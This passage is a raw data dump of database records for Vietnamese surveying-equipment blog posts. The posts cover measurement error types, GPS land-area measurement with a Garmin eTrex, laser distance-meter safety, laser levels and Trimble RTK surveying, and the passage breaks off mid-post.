0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a>- sai số ngấu nhiên của lần đo thứ i</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> n – số lần đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">c) Sai số xác suất (kí hiệu là p)</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong dãy kết quả đo nếu sắp xếp các sai số theo giá trị tuyệt đối từ bé đến lớn thì sai số xác suất p có giá trị của sai số đứng giữa về thứ tự sắp xếp.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Khi nghiên cứu về sai số trung bình cộng (s), sai số trung phương (m) và sai số xác suất (p) thấy chúng có mối quan hệ: p/s/m - tương ứng là 0,67/0,8/1,0</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nếu số lần đo càng nhiều thì tỷ số này càng đúng, dựa vào tỷ số này người tư có thể tính nhanh các giá trị của sai số trung bình cộng (s), sai số trung phương (m) thông qua giá trị của sai số xác suất (p)</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">d) Sai số giới hạn (kí hiệu là f)</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nghiên cứu thống kê cho thấy:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Cứ 1000 sai số thực thì có 3 giá trị si số vượt qua giới hạn ba lần giá trị sai số trung phương m. Trong 100 sai số thực thì có năm giá trị v]ợt quá giới hạn hai lần giá trị của sai số trung phương m.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Vì vậy người ta thường chọn sai số giới hạn bằng 3 lần sai số trung phương</span></span></div> <div align="center" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">f = 3m</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong trường hợp yêu cầu độ chính xác cao thì chọn sai số giới hạn bằng 2 lần sai số trung phương.</span></span></div> <div align="center" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">f = 2m</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Như vậy trong quá trình tính toán nếu giá trị nào vượt quá sai số giới hạn thì bị coi là sai số sai lầm và bị loại ra khỏi kết quả đo.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">e) Sai số tương đối (kí hiệu là <span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">1/T</em></span>) là tỷ số giữa sai số trung phương và giá trị thực của đại lượng đo (L).</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://2.bp.blogspot.com/-gSCgrAByN9M/Ur6UM1jjS8I/AAAAAAAADfI/mkKKcoc2Ex8/s1600/gisgpsrs-sai-so-tuong-doi.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://2.bp.blogspot.com/-gSCgrAByN9M/Ur6UM1jjS8I/AAAAAAAADfI/mkKKcoc2Ex8/s1600/gisgpsrs-sai-so-tuong-doi.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số tương đối dùng để so sánh mức độ sai số với giá trị thực của đại lượng đo:</span></span></div> ', 'images' => '201904250406260790335a670cb13c2fdb67fe2f8df9ba.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-04-25', 'modified' => '2025-08-18', 'status' => '1', 'view' => '83021', 'slug' => 'cac-loai-sai-so-tieu-chi-danh-gia-do-chinh-xac-ket-qua-do', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '937', 'rght' => '938', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 4 => array( 'Post' => array( 'id' => '535', 'name' => 'Hướng dẫn đo diện tích đất bằng máy định vị cầm tay GARMIN ETREX 10/20X ', 'code' => null, 'alias' => 'huong-dan-do-dien-tich-dat-bang-may-dinh-vi-cam-tay-garmin-etrex-10-20x', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(17, 17, 17); font-weight: 700; text-align: justify;">Những năm gần đây việc sử dụng máy định vị cầm tay để đo diện tích đất nông nghiệp, đất rừng… trở nên phổ biến. Người nông dân, thương lái đã ứng dụng thiết bị kỹ thuật vào việc đo diện tích đất để mua bán cao su, tiêu, điều,… một cách rất hiệu quả và chính xác.</span></span></span>', 'content' => '<p style="margin: 0px auto; padding: 5px 0px; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Sau đây, chúng tôi xin phép hướng dẫn cách đo diện tích đất bằng máy định vị cầm tay Etrex 10/20x đơn giản và chính xác.<br /> <br /> <strong>Phần 1: Kiểm tra tín hiệu vệ tinh và sai số của máy định vị trước khi đo diện tích</strong><br /> <br /> Máy định vị cầm tay Etrex 10/20 đo diện tích dựa trên tín hiệu vệ tinh vì vậy để số liệu đo chính xác thì vệ tinh thu được phải nhiều và đầy đủ. Hãy kiểm tra tín hiệu vệ tinh trước khi đo:<br /> <br /> - Nhấn <em>Menu</em> 2 lần để vào màn hình menu chính<br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 2.jpg" style="width: 300px; height: 300px;" /><br /> <br /> - Di chuyển con trỏ vào ô <em>Satellite</em> => nhấn <em>Enter</em><br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 3(1).jpg" style="width: 381px; height: 510px;" /><br /> <br /> - Màn hình vệ tinh sẽ hiện ra. Trên góc phải phía trên màn hình thể hiện sai số của máy. Khi hiện ra số từ 3 - 5m tức là vệ tinh đã tốt, chúng ta có thể bắt đầu đo diện tích đất.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 4(1).jpg" style="width: 306px; height: 409px;" /><br /> Sau khi kiểm tra tín hiệu vệ tinh và sai số của máy định vị trước khi đo diện tích sẽ tiến hành đo diện tích đất.<br /> <br /> <strong>Phần 2: Tiến hành đo diện tích đất</strong><br /> <br /> <strong>Bước 1:</strong> Nhấn nút <em>Menu</em> trên máy 2 lần để trở về màn hình menu chính<br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 1 lần 2.jpg" style="width: 300px; height: 300px;" /><br /> <em>Hình 1. Nhấn Menu 2 lần để trở về màn hình chính</em><br /> <br /> Bước 2: Di chuyển con trỏ vào biểu tượng có chữ <em>Area Calculation</em> (chức năng đo diện tích) => nhấn <em>Enter</em><strong>. </strong>Màn hình đo diện tích sẽ hiện ra.<br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 2 lần 2.jpg" style="width: 311px; height: 414px;" /><br /> <em>Hình 2. Di chuyển con trỏ vào biểu tượng có chữ Area Calculation</em><br /> <br /> Bước 3: Bây giờ hãy vào khu đất cần đo diện tích và nhấn <em>Enter</em> vào chữ <em>Start</em>, sau đó đi vòng quanh khu đất cần đo.<br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 3 lần 2.jpg" style="width: 400px; height: 533px;" /><br /> <em>Hình 3. Nhấn Enter vào chữ Start</em><br /> <br /> Bước 4: Sau khi đi vòng quanh khu đất cần đo đến vị trí xuất phát ban đầu nhấn <em>Enter</em> vào chữ <em>Calculate.</em><br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 4 lần 2.jpg" style="width: 296px; height: 395px;" /><br /> <em>Hình 4. Nhấn Enter vào chữ Calculate</em><br /> <br /> Màn hình hiển thị kết quả đo diện tích sẽ hiện ra:<br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 5.jpg" style="width: 309px; height: 412px;" /><br /> <em>Hình 5. Hiển thị kết quả đo</em><br /> <br /> Tùy vào mỗi mục đích công việc khác nhau mà chúng ta lựa chọn đơn vị đo phù hợp.<br /> Để chọn đơn vị đo bạn chỉ cần di chuyển con trỏ vào chữ <em>Change Units</em> và nhấn <em>Enter </em>=> màn hình sẽ hiện ra các đơn vị đo để bạn lựa chọn, thông thường chúng ta sẽ đo diện tích khu đất lớn nên chọn vào đơn vị Hectares<strong> (</strong>Ha<strong>).</strong><br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 6.jpg" style="width: 376px; height: 502px;" /><br /> <em>Hình 6. Chuyển đơn vị đo</em><br /> <br /> <strong>Cần lưu ý là phải đi thành 1 vòng khép kín thì máy mới đo diện tích khu đất một cách chính xác.</strong></span></span><br /> </p> <p style="margin: 0px auto; padding: 5px 0px; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> </p> ', 'images' => '2019042407173039b311cfd409011833b1fdef4dd12cf9.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-04-24', 'modified' => '2025-08-18', 'status' => '1', 'view' => '56829', 'slug' => 'huong-dan-do-dien-tich-dat-bang-may-dinh-vi-cam-tay-garmin-etrex-10-20x', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '935', 'rght' => '936', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 5 => array( 'Post' => array( 'id' => '534', 'name' => 'Những lưu ý khi dùng máy đo khoảng cách laser', 'code' => null, 'alias' => 'nhung-luu-y-khi-dung-may-do-khoang-cach-laser', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ứng dụng máy đo khoảng cách laser trong đời sống hàng ngày không còn là quá mới mẻ. Đặc biệt là với các nhà thiết kế và thi công nội ngoại thất, kỹ sư trắc địa, kỹ sư công trình. Nhưng việc sử dụng thiết bị này thế nào đúng cách để tránh gây hỏng thiết bị và gây hại tới người xung quanh là vấn đề cần được quan tâm hơn cả trước khi sử dụng máy. Ứng dụng máy đo khoảng cách laser trong đời sống hàng ngày không còn là quá mới mẻ. Đặc biệt là với các nhà thiết kế và thi công nội ngoại thất, kỹ sư trắc địa, kỹ sư công trình. Nhưng việc sử dụng thiết bị này thế nào đúng cách để tránh gây hỏng thiết bị và gây hại tới người xung quanh là vấn đề cần được quan tâm hơn cả trước khi sử dụng máy. </span></span>', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Máy đo khoảng cách laser với ưu điểm thiết kế cầm tay nhỏ gọn, đút túi dễ dàng và kết quả phản hồi nhanh. Các tính năng cơ bản bao gồm đo khoảng cách, tính toán theo pitago, diện tích, thể tích, chu vi, đo góc, cộng trừ nhân chia. Ngoài ra, riêng dòng Leica có thêm rất nhiều tính năng vượt trội cho người chuyên nghiệp như đo cạnh trên cao, đo sườn đồi, đo độ nghiêng mái nhà, tính cạnh gián tiếp...<br /> <br /> Trước khi sử dụng bạn cần đọc các lưu ý quan trọng dưới đây để tránh làm hỏng thiết bị hoặc gây hại đến người xung quanh. <br /> <br /> - Không để tia laser hướng về phía người hoặc động vật và không nhìn vào tia laser trực tiếp hoặc qua phản chiếu.<br /> - Nếu tia laser hướng vào mắt, bạn phải nhắm mắt lại và ngay lập tức xoay đầu để tránh tia laser.<br /> - Không được sử dụng kính nhìn laser như là kính bảo hộ lao động.<br /> - Không được nhúng dụng cụ đo vào trong nước hay các chất lỏng khác.<br /> - Lau sạch bụi bẩn bằng một mảnh vải mềm và ẩm.<br /> - Không sử dụng bất cứ chất tẩy rửa hay dung môi nào.<br /> - Nếu dụng cụ đo bị trục trặc, vui lòng liên hệ bộ phận kỹ thuật của chúng tôi để được hướng dẫn và bảo hành. Tuyệt đối không tự ý tháo mở dụng cụ đo ra để tránh làm thiết bị hỏng hóc thêm.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/H1.jpg" style="width: 236px; height: 138px;" /><img alt="" src="/admin/webroot/upload/image/images/H2.jpg" style="width: 236px; height: 138px;" /><img alt="" src="/admin/webroot/upload/image/images/H3.jpg" style="width: 236px; height: 138px;" /></span></span><br /> <br /> <p style="margin: 6px 0px; font-family: Helvetica, Arial, sans-serif; color: rgb(29, 33, 41); font-size: 14px;"> <img alt="" src="/admin/webroot/upload/image/images/H7.jpg" style="width: 500px; height: 360px;" /></p> ', 'images' => '20190301033534e604a531789bb8c3cfaceb0b2346fd77.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-03-01', 'modified' => '2025-08-18', 'status' => '1', 'view' => '68990', 'slug' => 'nhung-luu-y-khi-dung-may-do-khoang-cach-laser', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '933', 'rght' => '934', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 6 => array( 'Post' => array( 'id' => '533', 'name' => 'Cùng tìm hiểu về dòng máy thuỷ bình laser', 'code' => null, 'alias' => 'cung-tim-hieu-ve-dong-may-thuy-binh-laser', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Với những định hướng ban đầu từ quá trình nghiên cứu, sản xuất và thiết kế, máy thuỷ bình laser dường như đã được tích hợp trong mình những chức năng rất đa dạng, có thể phục vụ nhiều nhu cầu khác nhau của con người.Với những định hướng ban đầu từ quá trình nghiên cứu, sản xuất và thiết kế, máy thuỷ bình laser dường như đã được tích hợp trong mình những chức năng rất đa dạng, có thể phục vụ nhiều nhu cầu khác nhau của con người.</span></span>', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Với những định hướng ban đầu từ quá trình nghiên cứu, sản xuất và thiết kế, máy thuỷ bình laser dường như đã được tích hợp trong mình những chức năng rất đa dạng, có thể phục vụ nhiều nhu cầu khác nhau của con người. Các chức năng nổi bật đó có thể bao gồm:<br /> - Là thiết bị đo đạc ở các khoảng cách khác nhau từ gần đến xa, từ địa hình bằng phẳng đến nhưng nơi trắc trở nhiều nguy hiểm. Máy thuỷ bình laser có thể hỗ trợ con người trong việc tính toán và lập sơ đồ công trình rất nhanh chóng và chính xác.<br /> - Sử dụng máy trong việc quét mã vạch laser của ngành công nghiệp thương mại giúp bạn có được những kết quả tuyệt đối và tiện lợi hơn.<br /> - Ngoài ra, máy thuỷ bình laser còn là một thiết bị có ứng dụng rộng rãi trong ngành công nghiệp sản xuất, giáo dục, t tế và giao thông, công nghiệp vận chuyển.<br /> <br /> <strong>Một số cách phân loại máy thuỷ bình laser nổi bật nhất</strong></span></span><br /> <ul> <li> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Phân loại máy thuỷ bình laser qua màu sắc</span></span></li> </ul> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Màu sắc máy thuỷ bình laser sẽ tương ứng với màu sắc tia laser được tích hợp bên trong máy và những dòng máy có màu sắc khác nhau sẽ có các đặc tính sử dụng cũng như nhiều ưu nhược điểm khác nhau. Một số dòng máy thuỷ bình laser chính được phân loại theo hình thức này đó chính là máy tia xanh, tia đỏ, tia cam, tia xanh ngọc, tia hồng. Tuy nhiên, nổi bật hơn cả vẫn là hai dòng máy chính tia xanh và tia đỏ. Chúng được xuất hiện phổ biến trên thị trường với những vai trò vô cùng hữu ích, khả năng ứng dụng đa dạng và linh hoạt cho người dùng.<br /> <img alt="" src="/admin/webroot/upload/image/images/1539914884-may can bang2 (1).JPG" /></span></span><br /> <ul> <li> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Phân loại máy thuỷ bình laser theo nhà sản xuất</span></span></li> </ul> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Có rất nhiều đơn vị khác nhau gia nhập vào lĩnh vực thiết kế, sản xuất và phân phối máy thuỷ bình laser ra thị trường. Một số thương hiệu nổi bật có thể kể đến như dòng máy thuỷ bình laser thương hiệu Hàn Quốc, Nhật Bản, Đức: Sincon, Bosch, Fukuda, Laisai,...<br /> <img alt="" src="/admin/webroot/upload/image/images/1512013048_may-can-bang-laser-sincon-sl-333.jpg" style="width: 455px; height: 481px;" /></span></span><br /> <ul> <li> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Phân loại máy thuỷ bình laser qua số tia được tích hợp</span></span></li> </ul> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Số tia của máy thuỷ bình laser có ảnh hưởng rất lớn đến hiệu quả ứng dụng, đến mức độ phổ biến và khả năng sử dụng thực tế của máy cho các nhu cầu của người dùng. Tùy từng mục đích khác nhau bạn có thể chọn lựa dòng máy thuỷ bình laser với số tia vừa phải như 2 tia, 3 tia, 4 tia, 5 tia. Số lượng tia càng lớn thì giá thành máy càng cao, tuy nhiên hiệu quả và các chức năng máy mang lại sẽ càng lớn.<br /> <br /> <strong>Đánh giá một số ưu điểm của máy thuỷ bình laser trên thị trường hiện nay:</strong><br /> - Sử dụng máy thuỷ bình laser có thể thay thế hoàn toàn các phương thức đo đạc truyền thống với các kết quả đảm bảo độ chính xác, nhanh chóng và rất tiện lợi. Bạn có thể tránh đi được các thao tác phức tạp cần phải thực hiện, ngoài ra là còn tránh được các sai lệch có thể ảnh hưởng trực tiếp đến những công trình thực tế đang nghiên cứu hoặc thi công.<br /> - Việc sử dụng các dòng máy thuỷ bình laser hiện đại ngày nay rất đơn giản, chỉ cần nhấn nút và kiểm tra kết quả đo. Việc băn khoăn về những công việc cần làm cũng được giảm đi đáng kể. Từ đó giúp tiết kiệm thời gian rất nhiều.<br /> - Các thiết kế máy thuỷ bình laser hiện nay đều rất hiện đại, sang trọng với khả năng thu hút, bắt mắt, thể hiện cho sự cập nhật xu hướng cho chính người dùng, người chủ của máy.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/images(1).jpg" style="width: 225px; height: 225px;" /><br /> <br /> <strong>Một số nhược điểm của máy thuỷ bình laser:</strong><br /> Tuy mang trong mình nhiều ưu điểm nhưng vẫn không thể phủ nhận được một số khuyết điểm mà máy thuỷ bình laser vẫn còn gặp phải. Việc sử dụng máy tuy đơn giản nhưng luôn cần phải đảm bảo đúng và đủ các thao tác cần thiết. Nếu không sẽ không thể thu được kết quả đo. Ngoài ra, khi ứng dụng máy thuỷ bình laser trong một số điều kiện về địa hình trắc trở hay có nhiều vật cản, kết quả đo đạc thu được có thể sẽ không đảm bảo được độ chính xác tuyệt đối.<br /> Mức giá của các dòng máy thuỷ bình laser khá lớn, thường cao hơn so với các lựa chọn của phương pháp đo đạc truyền thống. Vì vậy, chi phí đầu tư ban đầu cần bỏ ra cho phương pháp cần phải xác định là sẽ tốn kém hơn. Tuy nhiên, so với những hiệu quả mà máy có thể mang lại thì đây hoàn toàn là những con số có thể chấp nhận được.<br /> </span></span>', 'images' => '20190213030954ce4c7d18ea6c8d4e032f065a283c7634.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-02-13', 'modified' => '2025-08-18', 'status' => '1', 'view' => '66822', 'slug' => 'cung-tim-hieu-ve-dong-may-thuy-binh-laser', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '931', 'rght' => '932', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 7 => array( 'Post' => array( 'id' => '532', 'name' => 'Đo đạc khảo sát bằng công nghệ RTK - TRIMBLE R8S ', 'code' => null, 'alias' => 'do-dac-khao-sat-bang-cong-nghe-rtk-trimble-r8s', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghệ GPS RTK trong đo đạc khảo sát địa hình giúp rút ngắn thời gian đo đạc ngoài thực địa.<br /> Phương pháp đo vẽ bằng công nghệ RTK rất đơn giản.Khả năng đo chi tiết ở khoảng cách khá lớn.Trạm máy ít phải di chuyển nên tốc độ đo nhanh hơn. Với công nghệ RTK, nhân lực giảm, mang lại hiệu quả lớn về mặt kinh tế.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/1545100541-r8s-4 (1)(1).JPG" style="width: 841px; height: 329px;" /><br /> Cùng với đó, để nâng cao năng suất và hiệu quả của công việc đo đạc khảo sát, bạn cần kết hợp với thiết bị máy toàn đạc điện tử để đo đạc.<br /> <br /> Để bắt kịp xu thế, Trimble – hãng sản xuất của Mỹ cho ra đời dòng máy định vị vệ tinh GNSS 02 tần số R8s. Máy có thiết kế nhỏ gọn và các tính năng nổi bật, đặc biệt là độ chính xác cao.Chuyên dùng trong công tác khảo sát thành lập lưới khống chế tọa độ với độ chính xác cao;<br /> Ngoài ra Trimble R8s cũng có thể được dùng trong việc khảo sát, thi công công trình như một chiếc máy đo đạc thông minh.Có thể thực hiện được tất cả các công việc trắc địa như giao hội, bố trí đường cong, tính diện tích.<br /> <br /> <strong>Các tính năng nổi bật của Trimble R8s GNSS:</strong><br /> + Bộ thu vệ tinh có thể lập cấu hình và tùy chỉnh nhằm đáp ứng yêu cầu của người dùng<br /> + Có cấu hình xử lý hậu kỳ, cấu hình chỉ gồm 